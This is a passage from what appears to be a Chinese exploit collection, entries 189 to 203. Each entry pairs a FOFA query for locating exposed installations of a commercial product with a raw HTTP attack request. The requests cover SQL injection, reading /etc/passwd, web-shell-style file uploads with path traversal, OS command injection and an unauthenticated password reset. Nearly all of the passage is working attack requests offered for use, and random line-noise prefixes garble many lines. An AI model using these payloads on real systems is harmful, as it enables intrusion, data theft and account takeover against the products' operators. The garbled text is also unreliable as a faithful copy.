/ ]5 p. T6 M$ a/ T9 ?" d0 K$ x3 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


1 p' O0 ~6 W/ V% H& b: N189. 蓝网科技临床浏览系统 deleteStudy SQL注入
) q* H, {5 p* y0 H. L( GFOFA：app="LANWON-临床浏览系统"
, n2 p+ {! B3 l. X7 X) zGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
5 G$ u+ L6 U1 ^Host: your-ip
! ]7 S0 V( U9 M( `% H6 e/ nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ a6 h' ?( \9 H8 V& S. c1 T. SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 d& |' [5 {9 x+ }

% P5 Y4 ^* f5 Q' }- B190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 v: i& b9 u! ~FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
& \6 D% W: ^& _& y$ n  hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
+ `+ L5 M) A% d2 S1 Q) SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 U; [1 z! C% g6 P$ R
poi=file:///etc/passwd

5 _# J4 K8 |8 n, p: J* j( k
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
0 c4 m5 w: j' i; S; HPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
0 _0 z' K) x4 {Host: your-ip
2 ]9 J! t; [3 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  \0 D: @1 Y3 l6 ?Content-Type: application/x-www-form-urlencoded
$ Z0 ~/ s, j; ?: I; M" M
( ~3 A' w4 p, f/ I! R4 Jcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
6 C5 c8 K! I, R& {

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
. E9 ^3 ?* o! P) @# r1 PFOFA：title="用户登录_富通天下外贸ERP"
0 t+ `7 ^' p, l# Z' B& yPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
* p; l7 \: T* a6 I8 W8 o! y/ f4 Qusing System;
& W8 w7 b9 K% \; U; ?* Vusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
0 P+ t8 u" y, ], }8 u/ O$ e" u{ get { return true; } }
! \' r& u' \. O5 U0 L" g4 vpublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
- j1 h  I5 l5 m7 k( e+ w}

) N# j& y/ r, ]9 V/ T) E1 b
+ l/ z8 n. Z6 {. g  S3 D1 A193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
. x' x5 u8 i4 h5 P$ U& KGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
6 ]' A6 j  B/ c2 o( u( I5 x$ l5 @Cookie: PHPSESSID=2333333333333;
: d; }, ~2 [% [* `2 \Content-Type: application/x-www-form-urlencoded
& j, r/ [. b8 F- DUser-Agent: Mozilla/5.0

& U1 k& ?+ A0 v. u$ p8 d( n$ P
" a* M+ m( v6 I4 {( m  w- O) Z6 rPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
4 k: {: \  s* V$ L) a: ]9 N& uAccept: */*
Connection: close
) E' v8 y& l' c1 S0 q6 qCookie: PHPSESSID=2333333333333;
' J7 x1 P6 [& v5 ~, S0 SContent-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

. F! {" F6 m9 ^
/ v3 z' }, o* g& RGET /master/img/config HTTP/1.1
Host:
5 f  N4 Y/ w/ h! Y8 r# q) y; t8 `User-Agent: Mozilla/5.0

7 G2 ~1 o4 I* R' y
& z9 }; O& I! Q194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
3 ~( E6 m5 j% O+ l0 U7 a. b$ _FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
: @4 o- Y8 ?* Q; u" H+ y2 i
POST /servlet/uploadAttachmentServlet HTTP/1.1
7 q  L  O9 H* Y' {" g5 o% cHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
; A, `$ s# F" R7 u5 I5 z. Z, VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& e$ t& U. S$ I% w8 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 p0 |: m- P( }6 _Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
8 z/ f* t" r$ `3 h( k------WebKitFormBoundaryKNt0t4vBe8cX9rZk

2 Z# p3 [% L- Y  a/ F1 p4 IContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
* ~1 G/ _9 s+ B- T+ m( d# L' G<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
& Q" u3 X* h5 wContent-Disposition: form-data; name="json"
0 O& U  \0 ]4 R, y$ O {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
. p+ C. \" n( P- Y! l% s  {
, G; N: T4 f9 P: q+ V) i5 ?' g. d8 m9 X
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
6 j$ D+ G# J0 v& c& X! n! cPOST /send_order.cgi?parameter=operation HTTP/1.1
. f1 y  }' {$ T- q8 h, |Host: 127.0.0.1
8 c: Y7 t4 M" b( H  qPragma: no-cache
Cache-Control: no-cache
1 X  t" V" L4 V5 M5 j6 P: U" q/ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
/ S# ?" g) ?$ M8 f/ I* `Content-Length: 68
3 f+ d. _/ G- G, ~; K$ t5 E$ ?
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
2 T: u1 F8 S& r* S' G, A
) ]+ ]- @+ i4 d) q
+ q/ ?& C* i: U# C$ v) \196. 河南省风速科技统一认证平台密码重置
2 u& g8 c0 T' p0 KFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
2 r2 t0 P6 p* y- w/ cX-Requested-With: XMLHttpRequest
Host:
' q$ X  z; \) }- O: H7 wAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  P1 T9 ]$ G$ T% u& N2 pContent-Length: 45
8 M# R$ [* z8 C* N9 R3 `Connection: close

8 {$ p: {# H  Z9 S2 d' n  O% i{"xgh":"test","newPass":"test666","email":""}
4 ~6 G2 O" H+ f& e


; j4 V& z3 o% S+ n( U" k197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
5 Q7 m+ _4 {* u' pFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
3 @$ q" ^, j* ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
' W' K; l# _7 y) T/ fConnection: close

- m# |! u0 F3 S1 Z
. ?% |2 q& n6 k/ `
, R; C% W7 u. \9 w. K/ I198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
4 W5 u! X! b9 z  C% w$ w/ w8 EGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
9 F) x3 l/ y! p2 D# |3 ]! oCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
! |: n; M# |' o- _Accept: */*
$ ~" x# v$ P! b$ ^, L; tAccept-Encoding: gzip, deflate
5 @# @6 d% Z/ G' J0 Z: l8 r, CAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
! s& X$ j% E* @6 e1 U; m6 FConnection: close


* n) P. o7 Z; A" t199. cockpit系统assetsmanager_upload接口 文件上传
: J0 {2 \- b+ q) S
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
2 ]) F: G% p  T- D& D( r: ?GET /auth/login?to=/ HTTP/1.1

# D) h0 L2 ]" f, I* g& P/ J响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
- J6 N$ x2 y$ H  I1 x3 a: }" l
6 q' K( Z" ]# B# [; p2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
* ^3 w+ d1 r! w8 Z0 S6 lContent-Type: application/json
- A) F) c; M+ e1 h
4 J  R2 H9 I3 `0 k* S: \* Q{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
: H6 s0 y2 m' f1 R6 v8 w5 E  O
响应：200，返回值:
9 l( _  _3 t! H/ o8 lSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
, a7 q; `! p7 e6 MFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
( E! k* U+ S! @: y2 C0 @, z; F% [# M5 oContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
3 m4 b" {4 Q7 l" b, z+ I4 ECookie: mysession=95524f01e238bf51bb60d77ede3bea92

/ }' U5 ~  ~' F; N; P-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
$ @( S' p0 E5 SContent-Type: text/php

' h2 S, `# R& U/ a. N* ]<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
, H" G& }1 P' z  i) mContent-Disposition: form-data; name="folder"
* m' u% y3 E  A
/ T" J2 p0 M# O0 o-----------------------------36D28FBc36bd6feE7Fb3--
' x7 m6 s% Q9 P, B

9 b: D; R% d! l& _5 Y; P$ P; Y/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
6 U# w2 N+ k, B0 J8 v; j+ sGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
0 j5 s' ?4 b/ }& aCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
; m+ v5 G( |# G. N4 O0 R% EUpgrade-Insecure-Requests: 1
0 J7 c$ ^0 }( `; V) }' XCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ h/ s! S  D# V" U5 d6 V
6 A, u+ Y& X- d- C- j1 c  a& L- y
+ k7 k7 b  _! K201. 方正全媒体新闻采编系统 binary SQL注入
/ \' b1 @3 a* Q4 B% {+ MFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
) Y( k. X6 \& y7 G  k7 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
3 k- w! k& f! ^* [

  G4 s( S6 |: X' f' g202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
: v1 L9 S  `  iContent-Length: 0
  {6 j& a: ^- w2 u. Q/ E, K

6 D0 i8 s2 v4 Q7 r替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
- f: {8 c4 j+ E; F
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
+ Z* ~# ^# r1 n2 L, U8 A$ _
__VIEWSTATE
# @1 b* i! Q4 g3 R, R+ G( N& G-----------------------------786435874t38587593865736587346567358735687
# {' w% g/ r% AContent-Disposition: form-data; name="__EVENTVALIDATION"

$ x/ ?/ f; d2 |" F: E+ ~7 {# |5 H__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
7 k/ S3 n1 \4 e% @. v) e! p5 P
Hello World!
-----------------------------786435874t38587593865736587346567358735687
4 b$ z) o( v2 C/ }' X. MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

, t+ I. S2 h3 K+ F8 V9 P% E上传图片
; O4 `7 _/ ?+ X  l-----------------------------786435874t38587593865736587346567358735687
9 e" `8 A( W5 ?: A" z1 Z, BContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
7 j2 \* S( }, |4 v

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

0 ^1 l9 ~3 K9 x, i0 s$ O2 O% W$ t( s
-----------------------------786435874t38587593865736587346567358735687--

+ N0 L7 \/ _8 j- z1 h* K3 n
/_data/Uploads/1123.txt
7 p( Z: J+ ?; p5 r
203. 红海云EHR PtFjk 文件上传
1 ]: U% t+ N! I3 KFOFA：body="RedseaPlatform"
: A6 ?: T  ?. U  CPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
" @- l& o  }, J3 {8 K3 T
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
  H+ z4 c; p, x$ ?Content-Type:image/jpeg

9 N' y7 p  h  y* x7 n# v<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
) b( ^3 ]. E- t% D8 I


3 `  ~# F4 g$ h1 n
0 z5 d* S; i% x4 u# @8 }' l
$ e5 R* q0 U9 W/ P